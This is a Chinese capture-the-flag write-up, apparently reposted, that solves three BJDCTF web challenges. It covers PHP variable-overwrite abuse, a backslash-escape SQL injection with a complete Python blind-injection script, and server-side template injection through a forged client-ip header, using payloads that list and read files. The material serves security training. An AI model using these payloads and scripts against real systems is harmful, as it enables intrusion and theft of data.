源码泄露
使用GitHack.py下载源码
下载之后对源代码进行审计
flag.php代码为:
<?php $flag = file_get_contents(‘/flag‘);
iindex.py里的关键代码为:
<?php include ‘flag.php‘; $yds = "dog"; $is = "cat"; $handsome = ‘yds‘; foreach($_POST as $x => $y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; } foreach($_GET as $x => $y){ if($_GET[‘flag‘] === $x && $x !== ‘flag‘){ exit($handsome); } } if(!isset($_GET[‘flag‘]) && !isset($_POST[‘flag‘])){ exit($yds); } if($_POST[‘flag‘] === ‘flag‘ || $_GET[‘flag‘] === ‘flag‘){ exit($is); } echo "the flag is: ".$flag;
观察代码可以看出来是变量覆盖漏洞,代码审计一书中也对变量覆盖漏洞进行过分析
按照常规想要获取到flag,是通过:
echo "the flag is: ".$flag;
因为包含了flag.php文件,在flag.php文件中包含了网站目录下的flag文件。
但是在这里:
foreach($_GET as $x => $y){ if($_GET[‘flag‘] === $x && $x !== ‘flag‘){ exit($handsome); } } if(!isset($_GET[‘flag‘]) && !isset($_POST[‘flag‘])){ exit($yds); } if($_POST[‘flag‘] === ‘flag‘ || $_GET[‘flag‘] === ‘flag‘){ exit($is); }
可以看到有三个有输出的exit:
exit($handsome); exit($yds); exit($is);
找一个最简单的,第二个exit:
if(!isset($_GET[‘flag‘]) && !isset($_POST[‘flag‘])){ exit($yds); }
只要不给flag传值就会退出,退出的时候会显示$yds的值,而$yds的值在代码最开始的时候初始化过:
$yds = "dog";
初始化和exit之间有代码:
foreach($_POST as $x => $y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; }
我们只要在这段代码中令$yds=$flag,将原来$yds变量的值进行覆盖,同时符合退出条件,就可以输出拿到flag。
从下往上逆推,思路要清楚一点。
退出条件是不给flag传值,接着要令$yds=$flag
foreach($_GET as $x => $y){ $$x = $$y; }
所以我们GET传值
?yds=flag
这样就能达到我们的目的,第一个POST的循环都没有用到。
查看源代码获取flag
界面是一个登录框,输入admin/123456
输入一下单引号
存在过滤,扫描发现存在robots.txt文件
继续看hint.txt文件
Only u input the correct password then u can get the flag and p3rh4ps wants a girl friend. select * from users where username=‘$_POST["username"]‘ and password=‘$_POST["password"]‘;
显示了后端的SQL语句,我们可以使用\转义符转义username后面的引号,令username的第一个引号和password的第一个引号闭合,逃逸出password第一个引号后面的内容
如输入
username=admin\
password=or 1#
数据库查询语句事实上变成了这样:
select * from users where username=‘admin\‘ and password=‘or 1#‘;
这时候的回显变为了:
也就是查询正确的结果和查询错误的结果显示的页面是不一样的,由此编写二分盲注脚本(其实就是在原来的二分盲注脚本基础上改改就行)
不知道为啥,二分脚本里面payload写成这样死活不行:
payload=‘or/**/(ascii(substr((password),%d,1))>%d)#‘%(x,mid)
手动测试的时候or也没有被过滤,脚本里面就出错了,将or换成了^异或符号
payload=‘^/**/(ascii(substr((password),%d,1))>%d)#‘%(x,mid)
最后的二分盲注脚本为:
import requests import time url=‘http://30e42e1c-74ab-4d1f-82e8-fcfb7562dfe1.node3.buuoj.cn/index.php‘ flag=‘‘ for x in range(1,50): high=137 low=32 mid=(low+high)//2 while high>low: payload=‘^/**/(ascii(substr((password),%d,1))>%d)#‘%(x,mid) data={ "username":"admin\\", "password":payload } response=requests.post(url,data=data) if ‘P3rh4ps‘ in response.text: low=mid+1 else: high=mid mid=(high+low)//2 flag+=chr(int(mid)) print flag #or (ascii(substr((password),1,1))>1)#
运行之后拿到密码:
使用admin/OhyOuFOuNdit登录即可获取flag
进去之后随便点点,先点hint再点flag
hint页面啥也没有,查看源代码
有一句 Do you know why i knoe your ip?怀疑是需要伪造IP地址
再看flag页面
为啥我IP在加拿大???
burpsuite拦截,client-ip伪造IP为127.0.0.1
成功伪造其为127.0.0.1
发现没有什么其他的提示了,尝试了一下SQL注入,无果
这时候可以注意到网站是使用flask框架搭建的--->>因为前端使用了bootstrap框架组件(还好有一点flask开发基础)
遇到flask框架反应就是SSTI模板注入,题目又是IP的奥秘,伪造IP为:
client-ip: 127.0.0.1/{{1+1}}
计算出了1+1之后的值,证明存在SSTI模板注入
继续修改payload:
client-ip: 127.0.0.1/{{system("ls /")}}
根目录下存在flag文件,cat一下即可
client-ip: 127.0.0.1/{{system("cat /flag")}}
获取flag
参考链接:
https://www.cnblogs.com/wangtanzhi/p/12318630.html
https://www.cnblogs.com/h3zh1/p/12669345.html
[BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip
原文:https://www.cnblogs.com/Cl0ud/p/12767897.html